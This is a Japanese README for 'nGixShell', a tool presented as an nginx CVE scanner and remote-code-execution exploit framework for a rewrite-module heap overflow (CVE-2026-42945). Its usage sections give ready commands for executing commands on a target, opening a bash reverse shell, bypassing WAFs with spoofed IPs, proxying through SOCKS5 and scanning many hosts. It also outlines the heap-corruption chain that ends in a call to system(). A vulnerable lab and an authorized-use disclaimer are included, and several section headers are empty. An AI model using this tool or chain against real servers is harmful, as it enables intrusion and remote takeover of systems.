nGixshell

nGixShell は nginx の CVE スキャナ兼 RCE エクスプロイトフレームワークです。ngx_http_rewrite_module における深刻なヒープバッファオーバーフローである CVE-2026-42945 の動作する概念実証（PoC）と、自動 HTTP プローブ、フィンガープリンティング、WAF 検出・バイパス、Web セキュリティ監査、レポート生成を備えた 53 件の nginx CVE をカバーするスキャナを同梱しています。

外部依存関係ゼロ。純粋な Python 3 標準ライブラリのみで動作します。

クイックスタート

# Spin up the vulnerable lab
docker compose -f env/docker-compose.yml up -d

# Auto mode — fingerprint + CVE scan + web audit
python3 ngixshell.py 127.0.0.1:19321

# Execute a command via RCE (CVE-2026-42945)
python3 ngixshell.py 127.0.0.1:19321 --cmd 'id'

# Drop a reverse shell (IP auto-detected)
python3 ngixshell.py 127.0.0.1:19321 --shell --shell-type bash --upgrade-shell

# Detect and bypass WAF, then scan
python3 ngixshell.py 127.0.0.1:19321 --waf-bypass

# Subdomain scan
python3 ngixshell.py --subdomain-scan example.com --scan-port 443

# Multiple targets from a file
python3 ngixshell.py --target-file hosts.txt --json --html-report results.html

フラグは不要です — ツールにターゲットを指定するだけで、すべてが自動で実行されます。
TLS は自動検出されます。server_tokens off が設定されていても nginx をフィンガープリントできます。

使い方

python3 ngixshell.py [TARGET] [OPTIONS]

TARGET formats:
  127.0.0.1
  192.168.1.10:8080
  http://192.168.1.10:8080
  https://target.local

モード

WAF 検出とバイパス

バイパステクニック（--waf-bypass 設定時はすべて有効）:

検出可能な WAF: Cloudflare、AWS WAF、Akamai、Imperva/Incapsula、ModSecurity、F5 BIG-IP ASM、Sucuri、Barracuda、NAXSI、Fastly、Wordfence

Web 監査

スキャンモードで自動実行されます。各モジュールは個別にスキップできます。

• ヘッダー監査 — HSTS、CSP、X-Frame-Options、X-Content-Type-Options、Referrer-Policy、Permissions-Policy、バージョン情報を漏えいするヘッダー
• パス探索 — 50 以上のパス。センチネルプローブにより catch-all の 403/301 ルールによる誤検知を排除
• 仮想ホスト列挙 — デフォルトブロックによる誤検知を避けるため、ステータスとボディの差分の両方を確認
• TLS 監査 — TLS 1.0～1.3 のサポート、証明書の有効期限、自己署名証明書の検出をテスト
• stub_status — 公開されている場合、/nginx_status からアクティブ接続のメトリクスを解析

接続

HTTP

レート / タイミング

出力

CVE カバレッジ

2009 年から 2026 年にかけての 53 件を収録。CVSS スコア順にソート済み。

脆弱性の詳細（CVE-2026-42945）

nginx の rewrite スクリプトエンジンは、バッファサイズを計算してからコピーするという2 パス方式を採用しています。rewrite の置換文字列に ? が含まれるとメインエンジンで is_args フラグが設定されますが、長さ計算パスは新しくゼロ初期化されたサブエンジン上で実行されます:

• 長さ計算パス — is_args = 0 のため、生のキャプチャ長を返す
• コピーパス — is_args = 1 のため、ngx_escape_uri(NGX_ESCAPE_ARGS) を呼び出し、安全でない各バイトを 3 バイトに展開する

このコピーにより、サイズ不足のヒープバッファが攻撃者が制御する URI データでオーバーフローします。エクスプロイトは、クロスリクエストのヒープ feng shui によって隣接する ngx_pool_t のクリーンアップポインタを破壊し、プール破棄時に system() を呼び出す偽の ngx_pool_cleanup_s へリダイレクトします。

影響を受けるバージョン

ベンダーアドバイザリ: https://my.f5.com/manage/s/article/K000160932

ラボ環境のセットアップ

Ubuntu 24.04 LTS でテスト済み。Docker と Python 3.8 以降が必要です。

# Start the vulnerable lab (nginx 1.25.3)
docker compose -f env/docker-compose.yml up -d

# Full scan
python3 ngixshell.py 127.0.0.1:19321

# RCE with JSON output
python3 ngixshell.py 127.0.0.1:19321 --cmd 'id' --json

# Reverse shell — bash payload, PTY auto-upgrade
python3 ngixshell.py 127.0.0.1:19321 --shell --shell-type bash --upgrade-shell

# WAF bypass scan with spoofed IP
python3 ngixshell.py 127.0.0.1:19321 --waf-bypass --waf-ip 10.10.10.1

# Through SOCKS5 proxy
python3 ngixshell.py 192.168.1.10 --proxy socks5://127.0.0.1:9050

# Subdomain scan with rate limiting
python3 ngixshell.py --subdomain-scan example.com --scan-port 443 --rate-limit 10

# Multiple targets, JSON output, HTML report
python3 ngixshell.py --target-file hosts.txt --json --html-report results.html

免責事項

許可を得たセキュリティテスト、CTF コンペティション、研究目的に限り使用してください。